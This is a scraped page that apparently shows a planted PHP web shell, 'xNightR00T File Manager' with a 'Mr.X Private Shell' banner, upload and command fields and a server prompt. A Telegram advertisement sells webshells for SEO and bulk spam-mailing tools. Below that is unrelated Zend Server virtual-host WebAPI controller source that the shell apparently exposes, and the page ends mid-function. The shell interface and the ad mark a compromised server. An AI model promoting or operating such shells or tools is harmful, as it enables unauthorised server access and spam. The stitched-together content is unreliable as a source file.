xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Vhost\Controller;

use ZendServer\Mvc\Controller\WebAPIActionController,
    WebAPI,
    Audit\Db\Mapper as auditMapper,
    ZendServer\Log\Log,
    Audit\Db\ProgressMapper,
    Zend\View\Model\ViewModel,
    Zend\Uri\UriFactory,
    Application\Module,
    Vhost\VhostNodeContainer,
    Vhost\Reply\Exception;
use Vhost\Mapper\AddVhost;
use Vhost\Mapper\AbstractVhostAction;
use Vhost\Mapper\EditVhost;
use Vhost\Entity\Vhost;
use Vhost\Form\VhostActionHydrator;
use Zend\Form\Form;
use Vhost\Reply\VhostOperationContainer;
use ZendServer\Configuration\Manager;
use Vhost\Filter\Filter,
    Zend\Stdlib\Parameters,
    Vhost\Filter\Translator,
    Vhost\Filter\Dictionary;

class WebAPIController extends WebAPIActionController
{
    /**
     * @var \Vhost\Filter\Dictionary
     */
    private $dictionary;
    private $sortDirection;

    /**
     * Validate the existence of the supplied SSL certificate, key and chain
     * provided during creation or edit of a virtual host.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostValidateSsl
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostvalidatessl_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @success codes (literal) 
     * @param String sslCertificatePath Required. Full filepath to the ssl certificate file
     * @param String sslCertificateKeyPath Required. Full filepath to the ssl key file
     * @param String sslChainPath Optional. Full filepath to the chain file
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostValidateSslAction()
    {
        $this->isMethodPost();
        $params = $this->getParameters(array('sslCertificateChainPath' => '', 'sslCertificatePath' => '', 'sslCertificateKeyPath' => '',
            'sslAppName' => ''));

        $sslCertificatePath      = $this->validateString($params['sslCertificatePath'], 'sslCertificatePath');
        $sslCertificateKeyPath   = $this->validateString($params['sslCertificateKeyPath'], 'sslCertificateKeyPath');
        $sslCertificateChainPath = $this->validateString($params['sslCertificateChainPath'], 'sslCertificateChainPath');
        $sslAppName              = $this->validateString($params['sslAppName'], 'sslAppName');

        $tasks  = $this->getLocator()->get('Vhost\Mapper\Tasks'); /* @var $tasks \Vhost\Mapper\Tasks */
        $taskId = $tasks->validateSslFiles($sslCertificatePath, $sslCertificateKeyPath, $sslCertificateChainPath,
            $sslAppName);

        $reply     = $this->getRepliesMapper()->waitAndExtractReply($taskId);
        $viewModel = new ViewModel(array('reply' => $reply));
        $viewModel->setTemplate('vhost/web-api/vhost-validate-template');
        return $viewModel;
    }

    /**
     * Validate the structure and syntax of a virtual host template.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostValidateTemplate
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostvalidatetemplate_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @success codes (literal) 
     * @param String name Required. Virtual hostname to use in template
     * @param Integer port Required. Virtual host listen port to be used in template
     * @param String template Required. Template text to be validated
     * @param Boolean sslEnabled Optional. Indicates if the provided template to be used an SSL template
     * @param String sslCertificatePath Optional. Full filepath to the ssl certificate file
     * @param String sslCertificateKeyPath Optional. Full filepath to the ssl key file
     * @param String sslChainPath Optional. Full filepath to the chain file
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostValidateTemplateAction()
    {
        $this->isMethodPost();
        $params   = $this->getParameters(array('sslEnabled' => 'FALSE', 'sslCertificatePath' => '', 'sslCertificateKeyPath' => '',
            'sslCertificateChainPath' => '', 'sslAppName' => ''));
        $this->validateMandatoryParameters($params, array('name', 'port', 'template'));
        $name     = $this->validateStringNonEmpty($params['name'], 'name');
        $port     = $this->validatePositiveInteger($params['port'], 'port');
        $template = $this->validateStringNonEmpty($params['template'], 'template');

        $sslEnabled              = $this->validateBoolean($params['sslEnabled'], 'sslEnabled');
        $sslCertificatePath      = $this->validateString($params['sslCertificatePath'], 'sslCertificatePath');
        $sslCertificateKeyPath   = $this->validateString($params['sslCertificateKeyPath'], 'sslCertificateKeyPath');
        $sslCertificateChainPath = $this->validateString($params['sslCertificateChainPath'], 'sslCertificateChainPath');
        $sslAppName              = $this->validateString($params['sslAppName'], 'sslAppName');

        $tasks = $this->getLocator()->get('Vhost\Mapper\Tasks'); /* @var $tasks \Vhost\Mapper\Tasks */
        try {
            $taskId = $tasks->validateTemplate($name, $port, $template, $sslEnabled, $sslCertificatePath,
                $sslCertificateKeyPath, $sslCertificateChainPath, $sslAppName);
        } catch (\Exception $e) {
            Log::err("vhostValidateTemplate web api failed:".$e->getMessage());
            throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $reply = $this->getRepliesMapper()->waitAndExtractReply($taskId);
        return array('reply' => $reply, 'success' => $reply->getSuccessCode(), 'message' => $reply->getMessage());
    }

    /**
     * Disable deployment to system virtual host that was enabled for
     * deployment.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostDisableDeployment
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostdisabledeployment_method.htm
     * @permissions Read only
     * @editions Zend Server
     * @type 
     * @param Integer vhost Required. The ID&#160;of a single virtual host.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostDisableDeploymentAction()
    {
        $this->isMethodPost();

        $params  = $this->getParameters();
        $this->validateMandatoryParameters($params, array('vhost'));
        $vhostId = $this->validateInteger($params['vhost'], "vhost");

        $vhostMapper  = $this->getVhostMapper();
        $currentVhost = $this->validateVhostExists($params['vhost']);

        try {

            $auditMessage = $this->auditMessage(auditMapper::AUDIT_VHOST_DISABLE_DEPLOYMENT,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array(array(_t('Vhost: %s', array($currentVhost->getName().':'.$currentVhost->getPort())))));

            $status = $vhostMapper->vhostStatus($currentVhost);
            if (!in_array($status, array(Vhost::STATUS_OK, Vhost::STATUS_PENDING_RESTART))) {
                throw new \ZendServer\Exception(_t('Deployment can only be disabled on valid virtual hosts'));
            }

            if ($currentVhost->isZendDefined()) {
                throw new WebAPI\Exception(_t("Vhost %s deployment cannot be disabled on Zend Server vhosts",
                    array($vhostId)), WebAPI\Exception::VIRTUAL_HOST_INVALID);
            }

            if (!$currentVhost->isManagedByZend()) {
                throw new WebAPI\Exception(_t("Vhost %s deployment already disabled", array($vhostId)),
                WebAPI\Exception::VIRTUAL_HOST_INVALID);
            }

            $vhostMapper->unmanageVhost($vhostId);
        } catch (\Exception $e) {
            Log::err("Failed to redeploy vhost:".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array("message" => $e->getMessage()));
            if ($e instanceof \ZendServer\Exception) {
                throw new WebAPI\Exception($e->getMessage(), WebAPI\Exception::INTERNAL_SERVER_ERROR);
            }
            throw $e;
        }

        $vhostsNodes = $this->getVhostNodes(array($vhostId));

        return array('vhosts' => array($currentVhost), 'vhostsNodes' => $vhostsNodes);
    }

    /**
     * Enable deployment to a system virtual host. This action requires user
     * intervention.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostEnableDeployment
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostenabledeployment_method.htm
     * @permissions Read only
     * @editions Zend Server
     * @type 
     * @param Integer vhost Required. The ID&#160;of a single virtual host.
     * @param Boolean applyImmediately Optional. False: will only create an overriding configuration file. True: will
     * 	create an overriding configuration.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostEnableDeploymentAction()
    {
        $this->isMethodPost();

        $params           = $this->getParameters(array('applyImmediately' => 'TRUE'));
        $this->validateMandatoryParameters($params, array('vhost'));
        $this->validatePositiveInteger($params['vhost'], 'vhost');
        $applyImmediately = $this->validateBoolean($params['applyImmediately'], 'applyImmediately');

        $currentVhost = $this->validateVhostExists($params['vhost']);

        try {
            $vhostMapper = $this->getVhostMapper();

            $auditMessage = $this->auditMessage(auditMapper::AUDIT_VHOST_ENABLE_DEPLOYMENT,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED,
                array(array(_t('Vhost: %s', array($currentVhost->getName().':'.$currentVhost->getPort())))));

            $status = $vhostMapper->vhostStatus($currentVhost);
            if (!in_array($status, array(Vhost::STATUS_OK, Vhost::STATUS_PENDING_RESTART))) {
                throw new \ZendServer\Exception(_t('Either the virtual host is not valid, or server'.(\Application\Module::isCluster()?'s':'').' error'));
            }

            if (!$currentVhost->isManagedByZend()) {
                $vhostMapper->manageVhost($params['vhost'], $applyImmediately);
            }
        } catch (\Exception $e) {
            Log::err("Failed to enable deployment on vhost:".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array("message" => $e->getMessage()));
            throw new WebAPI\Exception(_t('Failed to enable deployment on vhost. %s', array($e->getMessage())),
            WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $installDir    = get_cfg_var('zend.install_dir');
        $webserverType = $this->getDirectivesMapper()->selectSpecificDirectives(array('zend.webserver_type'))->current()->getValue();
        if ($webserverType == 'nginx') {
            $addLine = 'include "'.$installDir.'/etc/sites.d/zend_managed_vhost_'.$currentVhost->getId().'.conf";';
        } else {
            $addLine = 'Include "'.$installDir.'/etc/sites.d/zend_managed_vhost_'.$currentVhost->getId().'.conf"';
        }

        $addLine = str_replace('/', DIRECTORY_SEPARATOR, $addLine);

        $toPath = $currentVhost->getConfigFile();

        return array('addLine' => $addLine, 'toPath' => $toPath);
    }

    /**
     * Get the list of web sites with their details
     *
     * @api
     * @method GET
     * @version 1.15
     * @section Deployment
     * @editions Zend Server
     * @type 
     * @param Array sites Optional. List of web sites IDs. If specified, details will be returned
     * 	about these web sites only. If not specified, details about all
     * 	virtual hosts will be returned.
     * @param Integer limit Optional. The number of rows to retrieve. Default lists all vhosts up to an
     * 	arbitrary limit set by the system
     * @param Integer offset Optional. A paging offset to begin the vhost list from. Default is 0
     * @param String order Optional. Column identifier for sorting the result set (id, name, port,
     * 	last_updated, owner). Default is name
     * @param String direction Optional. Sorting direction: ASC or DESC. Default is ASC
     * @param Array filters Optional. Add filter parameters in an ad-hoc manner. These filters will be
     * 	added to the predefined filter that was passed. This parameter is an
     * 	array with a predefined set of parameters that accept strings or
     * 	arrays to hold multiple values: ssl: array, a list of ssl support
     * 	(ssl_enabled, ssl_disabled) type: array, a list of vhost type
     * 	(system_defined, zs_defined) deployment: array, a list of deployment
     * 	status (deployment_enabled, deployment_disabled) freeText: string
     * @param Integer filterName Optional. Name of filter
     * @response {
        	"list": [
        		{
        			"id": "2",
        			"name": "Default Web Site",
        			"port": "80",
        			"status": "Modified",
        			"default": "1",
        			"zendDefined": true,
        			"zendManaged": true,
        			"ssl": false,
        			"created": "2017-09-19T10:34:58+03:00",
        			"lastUpdated": "2017-09-19T10:34:58+03:00",
        			"createdTimestamp": "1505806498",
        			"lastUpdatedTimestamp": "1505806498",
        			"applicationPool": "DefaultAppPool",
        			"servers": [
        				{
        					"id": "0",
        					"status": "Modified",
        					"name": "PC-anyas",
        					"lastMessage": "[\"+<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?><br>+<configuration><br>+<system.webServer><br>+<directoryBrowse enabled=\\\"true\\\" /><br>+</system.webServer><br>+</configuration><br> <br>\"]"
        				}
        			]
        		}
        	],
        	"total": 1
        }
     */
    public function webSitesGetStatusAction()
    {
        $this->isMethodGet();
    
        $params = $this->getParameters(
            array('sites' => array(), 'limit' => Module::config('list', 'resultsPerPage'), 'offset' => 0, 'order' => 'name',
                'direction' => 'ASC', 'filters' => array(), 'filterName' => '')
            );
    
        $sitesIds = $this->validateArray($params['sites'], 'sites');
        foreach ($sitesIds as $idx => $site) {
            $this->validateInteger($site, "sites[{$idx}]");
        }
        
        $params = $params->toArray();
        $params['vhosts'] = $sitesIds;
    
        $viewModel = $this->forward()->dispatch('VhostWebAPI-1_15', array('action' => 'vhostGetStatus'));//, $params)); /* @var $vhostView \Zend\Http\PhpEnvironment\Response */
       
        $viewModel->setTemplate('vhost/web-api/1x15/web-sites-get-status');
        return $viewModel;
       
    }
    
    /**
     * Get the list of virtual hosts currently used by the web server and
     * information about each virtual host. If vhost names are specified,
     * will return information about the specific virtual host. If no names
     * are specified, will return details about all virtual hosts.
     * 
     * @api
     * @method : GET
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostGetStatus
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostgetstatus_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Array vhosts Optional. List of virtual host IDs. If specified, details will be returned
     * 	about these virtual hosts only. If not specified, details about all
     * 	virtual hosts will be returned.
     * @param Integer limit Optional. The number of rows to retrieve. Default lists all vhosts up to an
     * 	arbitrary limit set by the system
     * @param Integer offset Optional. A paging offset to begin the vhost list from. Default is 0
     * @param String order Optional. Column identifier for sorting the result set (id, name, port,
     * 	last_updated, owner). Default is name
     * @param String direction Optional. Sorting direction: ASC or DESC. Default is ASC
     * @param Array filters Optional. Add filter parameters in an ad-hoc manner. These filters will be
     * 	added to the predefined filter that was passed. This parameter is an
     * 	array with a predefined set of parameters that accept strings or
     * 	arrays to hold multiple values: ssl: array, a list of ssl support
     * 	(ssl_enabled, ssl_disabled) type: array, a list of vhost type
     * 	(system_defined, zs_defined) deployment: array, a list of deployment
     * 	status (deployment_enabled, deployment_disabled) freeText: string
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostGetStatusAction()
    {
        $this->isMethodGet();

        $params = $this->getParameters(
            array('vhosts' => array(), 'limit' => Module::config('list', 'resultsPerPage'), 'offset' => 0, 'order' => 'name',
                'direction' => 'ASC', 'filters' => array(), 'filterName' => '')
        );

        $vhostsIds = $this->validateArray($params['vhosts'], 'vhosts');
        foreach ($vhostsIds as $idx => $vhost) {
            $this->validateInteger($vhost, "vhosts[{$idx}]");
        }

        $this->validateLimit($params['limit']);
        $this->validateOffset($params['offset']);
        $this->validateOrder($params['order']);
        $this->validateDirection($params['direction']);
        $filterData = $this->validateArray($params['filters'], 'filters');
        $filterData = $this->renameFilterKeys($filterData);
        $filterName = $this->validateString($params['filterName'], 'filterName');
        $dictionary = $this->getDictionary();
        foreach (array_keys($filterData) as $filterKey) {
            $this->validateAllowedValues($filterKey, "filter[{$filterKey}]", $dictionary->getFilterColumns());
        }

        $filter     = $this->getFilterObj($filterName, $filterData);
        $translator = new Translator($filter);

        $vhostMapper = $this->getVhostMapper();

        $requestedSpecificVshosts = false;
        if (count($vhostsIds) > 0) {
            $requestedSpecificVshosts = true;
        }

        $vhostsResult = $vhostMapper->getVhosts($vhostsIds, $translator->translate(), $params['limit'],
            $params['offset'], $params['order'], $params['direction']);
        $vhosts       = array();
        $vhostsIds    = array();
        foreach ($vhostsResult as $vhost) {
            $vhosts[]    = $vhost;
            $vhostsIds[] = $vhost->getId();
        }

        $vhostsNodes = $this->getVhostNodes($vhostsIds);

        if ($requestedSpecificVshosts) {
            $total = count($vhosts);
        } else {
            $total = $vhostMapper->countVhosts($translator->translate());
        }

        // if sort by owner (isZendDefined) - sort it manually
        if ($params['order'] == 'owner') {
            $this->sortDirection = $params['direction'];
            usort($vhosts, array($this, "cmp"));
        }
        // if sort by port (isZendDefined) - sort it manually
        if ($params['order'] == 'port') {
            $this->sortDirection = $params['direction'];
            usort($vhosts, array($this, "cmpPort"));
        }
        return array('vhosts' => $vhosts, 'vhostsNodes' => $vhostsNodes, 'total' => $total);
    }

    public function cmp($vhost1, $vhost2)
    {
        if ($this->sortDirection == 'asc') {
            return ($vhost1->isZendDefined() - $vhost2->isZendDefined());
        } else {
            return (!$vhost1->isZendDefined() - !$vhost2->isZendDefined());
        }
    }


    public function cmpPort($vhost1, $vhost2)
    {
        if ($this->sortDirection == 'asc') {
            return ($vhost1->getPort() - $vhost2->getPort());
        } else {
            return ($vhost2->getPort() - $vhost1->getPort());
        }
    }

    /**
     * Redeploy a virtual host to all servers.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostRedeploy
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostredeploy_method.htm
     * @permissions Read only
     * @editions Zend Server
     * @type 
     * @param Integer vhost Required. The ID&#160;of a single virtual host.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostRedeployAction()
    {
        $this->isMethodPost();

        $params  = $this->getParameters();
        $this->validateMandatoryParameters($params, array('vhost'));
        $vhostId = $this->validateInteger($params['vhost'], "vhost");

        $vhostMapper = $this->getVhostMapper();

        $currentVhost   = $this->validateVhostExists($params['vhost']);
        $vhostValidator = $this->getLocator()->get('Vhost\Validator\VhostValidForRedeploy'); /* @var $vhostValidator \Vhost\Validator\VhostValidForDeploy */
        if (!$vhostValidator->isValid("{$currentVhost->getName()}:{$currentVhost->getPort()}")) {
            throw new WebAPI\Exception(current($vhostValidator->getMessages()),
            WebAPI\Exception::VIRTUAL_HOST_IS_NOT_MANAGED);
        }

        try {
            $auditMessage = $this->auditMessage(auditMapper::AUDIT_VHOST_REDEPLOY, ProgressMapper::AUDIT_NO_PROGRESS,
                array(array(_t('Vhost: %s', array($currentVhost->getName().':'.$currentVhost->getPort())))));

            $vhostMapper->redeployVhost($params['vhost']);

            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_REQUESTED);
        } catch (\Exception $e) {
            Log::err("Failed to redeploy vhost:".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array("message" => $e->getMessage()));
            throw new WebAPI\Exception(_t('Failed to redeploy vhost %s', array($e->getMessage())),
            WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $vhostsNodes = $this->getVhostNodes(array($vhostId));

        return array('vhosts' => array($currentVhost), 'vhostsNodes' => $vhostsNodes);
    }

    /**
     * Remove the list of virtual hosts currently used by the web server and
     * information about each virtual host. Names will be mandatory
     * parameter, otherwise the error will be return.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostRemove
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostremove_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Array vhosts Required. List of virtual hosts IDs to be removed.
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostRemoveAction()
    {
        $this->isMethodPost();

        $params = $this->getParameters(
            array('vhosts' => array(), 'removeApplications' => 'FALSE')
        );

        $this->validateMandatoryParameters($params, array('vhosts'));

        $vhostsIds          = $this->validateArrayNonEmpty($params['vhosts'], 'vhosts');
        $removeApplications = $this->validateBoolean($params['removeApplications'], 'removeApplications');

        foreach ($vhostsIds as $idx => $vhost) {
            $this->validateInteger($vhost, "vhosts[{$idx}]");
            $this->validateVhostExists($vhost);
        }
        $vhostsSessions = new \Zend\Session\Container('vhost_session');
        $deletingVhosts = isset($vhostsSessions->deletingVhosts) ? $vhostsSessions->deletingVhosts : array();
        $deletingVhosts = array_merge($deletingVhosts,$vhostsIds);
        $vhostsSessions->deletingVhosts  = $deletingVhosts;

        $vhostMapper = $this->getVhostMapper();

        $vhostsResult = $vhostMapper->getVhosts($vhostsIds);
        $vhostIds     = array();
        $vhostNames   = array();
        foreach ($vhostsResult as $vhostResult) { /* @var $vhostResult \Vhost\Entity\Vhost */
            if (!$vhostResult->isZendDefined()) {
                throw new WebAPI\Exception(_t('Cannot remove system vhost %s:%s',
                    array($vhostResult->getName(), $vhostResult->getPort())),
                WebAPI\Exception::VIRTUAL_HOST_IS_NOT_MANAGED);
            }
            $vhostIds[]   = (int) $vhostResult->getId();
            $vhostNames[] = "{$vhostResult->getName()}:{$vhostResult->getPort()}";
        }

        if (!$removeApplications) {
            foreach ($vhostsIds as $idx => $vhost) {
                $vhostApps = $this->vhoseGetApplications($vhost);
                $vhost     = $this->getVhostMapper()->getVhostById($vhost);
                if (count($vhostApps) > 0) {
                    $vhostApp = current($vhostApps);
                    throw new WebAPI\Exception(_t('There is an application relying on \'%s\'. To remove the virtual host, first remove the application \'%s:%s\'.',
                        array($vhost->getName(), $vhost->getPort(), $vhostApp['userName'])),
                    WebAPI\Exception::VIRTUAL_HOST_HAS_DEPENDENTS);
                }
            }
        }

        try {
            $appsToRemove = array();

            if ($removeApplications) {
                foreach ($vhostIds as $vhostId) {
                    $vhostApps = $this->vhoseGetApplications($vhostId);
                    foreach ($vhostApps as $appId => $appData) {
                        $appsToRemove[$appId] = $appData['userName'];
                    }
                }
            }

            $auditExtraData = array(_t('Vhosts') => implode(', ', $vhostNames));
            if (count($appsToRemove) > 0) {
                $auditExtraData[_t('Removed Applications')] = array_values($appsToRemove);
            }

            $auditMessage = $this->auditMessage(auditMapper::AUDIT_VHOST_REMOVE,
                ProgressMapper::AUDIT_PROGRESS_REQUESTED, array($auditExtraData));

            $vhostMapper->removeVhosts($vhostIds);

            foreach ($appsToRemove as $appId => $appName) {
                $this->getRequest()->getPost()->set('ignoreFailures', 'TRUE');
                $this->getRequest()->getPost()->set('removeApplicationData', 'TRUE');
                $this->getRequest()->getPost()->set('appId', $appId);

                $this->forward()->dispatch('DeploymentWebAPI-1_2', array('action' => 'applicationRemove'));
            }
        } catch (\Exception $e) {
            Log::err("Failed to remove vhosts:".$e->getMessage());
            $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_FAILED,
                array("message" => $e->getMessage()));
            throw new WebAPI\Exception(_t('Failed to remove vhosts %s', array($e->getMessage())),
            WebAPI\Exception::INTERNAL_SERVER_ERROR);
        }

        $this->auditMessageProgress(ProgressMapper::AUDIT_PROGRESS_ENDED_SUCCESFULLY, array());
        Log::info("Vhosts: ".implode(', ', $params['vhosts']).' have been removed');

        $vhostsResult = $vhostMapper->getVhosts($params['vhosts']);
        $vhosts       = array();
        $vhostsIds    = array();
        foreach ($vhostsResult as $vhost) {
            $vhosts[]    = $vhost;
            $vhostsIds[] = $vhost->getId();
        }
        $vhostsNodes = $this->getVhostNodes($vhostsIds);

        $viewModel = new ViewModel(array('vhosts' => $vhosts, 'vhostsNodes' => $vhostsNodes));
        $viewModel->setTemplate('vhost/web-api/1x6/vhost-get-status');
        return $viewModel;
    }

    /**
     * Adds a new virtual host which is intended to be secure using SSL.
     * Receives name, port, template and certificate application name and
     * returns a single virtual host element with the same information. This
     * action is used only by IBMi systems.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostAddSecureIbmi
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostaddsecureibmi_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param String name Required. Name of virtual host.
     * @param Integer port Required. Port of virtual host.
     * @param String sslAppName Required. Application name for SSL.
     * @param String template Optional. Template of the virtual host settings according to the web server
     * 	configuration options.
     * @param Boolean forceCreate Optional. Force the creation of a virtual host, even if it fails syntax
     * 	validation. Default: FALSE
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostAddSecureIbmiAction()
    {
        $this->isMethodPost();
        $params               = $this->getParameters(array('forceCreate' => 'FALSE', 'sslAppName' => ''));
        $this->validateMandatoryParameters($params, array('name', 'sslAppName'));
        $params               = $this->validateVhostParameters($params);
        $params['sslEnabled'] = true;

        return $this->addVhost($params);
    }

    /**
     * This action is similar to vhostAdd, it adds a new vhost which is
     * intended to be secure using SSL. Receives name, port, template and
     * certificate paths and returns a single virtual host element with the
     * same information.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostAddSecure
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostaddsecure_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param String name Required. Name of virtual host.
     * @param Integer port Required. Port of virtual host.
     * @param String sslCertificatePath Required. File path to locate the SSL certificate file.
     * @param String sslCertificateKeyPath Required. File path to locate the SSL private key file.
     * @param String template Optional. Template of the virtual hostsettings according to the web server
     * 	configuration options.
     * @param String sslCertificateChainPath Optional. Full file path to the SSL chain file.
     * @param Boolean forceCreate Optional. Force the creation of a virtual host, even if it fails syntax
     * 	validation. Default: FALSE
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostAddSecureAction()
    {
        $this->isMethodPost();
        $params               = $this->getParameters(array('forceCreate' => 'FALSE', 'sslCertificateChainPath' => ''));
        $this->validateMandatoryParameters($params, array('name', 'sslCertificatePath', 'sslCertificateKeyPath'));
        $params               = $this->validateVhostParameters($params);
        $params['sslEnabled'] = true;

        return $this->addVhost($params);
    }

    /**
     * Add a new virtual host. Receives name, port and template and returns
     * a single virtual hostelement with the same information.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostAdd
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostadd_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param String name Required. Name of virtual host.
     * @param Integer port Required. Port of virtual host.
     * @param String template Optional. Template of the virtual hostsettings according to the web server
     * 	configuration options.
     * @param Boolean forceCreate Optional. Force the creation of a virtual host, even if it fails syntax
     * 	validation. Default: FALSE
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostAddAction()
    {
        $this->isMethodPost();
        // on iis is not supported, bug #ZSR-2810
        if (Manager::isIIS()) {
            throw new \WebAPI\Exception( "vhostAdd is not supported on IIS",
                                         \WebAPI\Exception::WEBSERVER_CONFIGURATION_ERROR);
        }
        
        $params               = $this->getParameters(array('forceCreate' => 'FALSE'));
        $this->validateMandatoryParameters($params, array('name'));
        $this->validateHost($params['name'], 'name');
        $params               = $this->validateVhostParameters($params);
        $params['sslEnabled'] = false;
        return $this->addVhost($params);
    }

    /**
     * Edit an existing vhost. Receives vhostId and template and returns a
     * single virtual host element with the same information.
     * 
     * @api
     * @method POST
     * @version 1.6
     * @section Virtual Hosts
     * @name vhostEdit
     * @url https://docs.roguewave.com/en/zend/Zend-Server/content/the_vhostedit_method.htm
     * @permissions Read-only
     * @editions Zend Server
     * @type 
     * @param Integer vhostId Required. virtual host ID.
     * @param String template Required. New vhost template of virtual host settings.
     * @param Boolean forceCreate Optional. Force edit of the virtual host template even if any errors are
     * 	detected.
     * @param String sslCertificatePath Optional. File path to locate the SSL certificate file
     * @param String sslCertificateKeyPath Optional. File path to locate the SSL key file
     * @param String sslCertificateChainPath Optional. File path to locate the SSL chain file
     * @param String sslAppName Optional. Application name for SSL (IBMI only)
     * @response 
     *
     * @return \WebAPI\View\WebApiResponseContainer|\Zend\View\Model\ViewModel|array
     */
    public function vhostEditAction()
    {
        $this->isMethodPost();
        $params = $this->getParameters(array('forceCreate' => 'FALSE', 'sslCertificatePath' => '', 'sslCertificateKeyPath' => '',
            'sslCertificateChainPath' => '', 'sslAppName' => ''));
        $this->validateMandatoryParameters($params, array('template', 'vhostId'));

        $vhostEditMapper = $this->getLocator()->get('Vhost\Mapper\EditVhost');
        $params          = $this->validateVhostParameters($params);

        $vhostMapper = $this->getVhostMapper();

        $vhostEditMapper->setForceCreate($params['forceCreate']);
        $vhostEditMapper->setVhostId($params['vhostId']);
        $vhostEditMapper->setTemplate($params['template']);

        $vhost = $this->validateVhostExists($vhostEditMapper->getVhostId());

        // fill with default values
        $vhostEditMapper->setSslCertificatePath($vhost->getCertificatePath());
        $vhostEditMapper->setSslCertificateKeyPath($vhost->getCertificateKeyPath());
        $vhostEditMapper->setSslCertificateChainPath($vhost->getCertificateChainPath());
        $vhostEditMapper->setSslAppName($vhost->getAppName());


        if (!$vhost->isZendDefined()) {
            throw new \WebAPI\Exception("Only Zend-Defined virtual hosts can be modified",
            \WebAPI\Exception::WEBSERVER_CONFIGURATION_ERROR);
        }

        if (!$vhost->isSsl()
            /// check that all ssl parameters are empty if this is not an SSL vhost
            && count(array_filter(
                    array($params['sslCertificateChainPath'], $params['sslCertificatePath'], $params['sslCertificateKeyPath'],
                $params['sslAppName']),
                    function($item) {
                    return (strlen($item) > 0);
                }
            ))) {

            throw new \WebAPI\Exception("Not-secured vhost '{$vhost->getName()}:{$vhost->getPort()}' may not accept SSL parameters",
            \WebAPI\Exception::INVALID_PARAMETER);
        }

        // on ibmi use only sslAppName parameter
        $manager = new Manager();
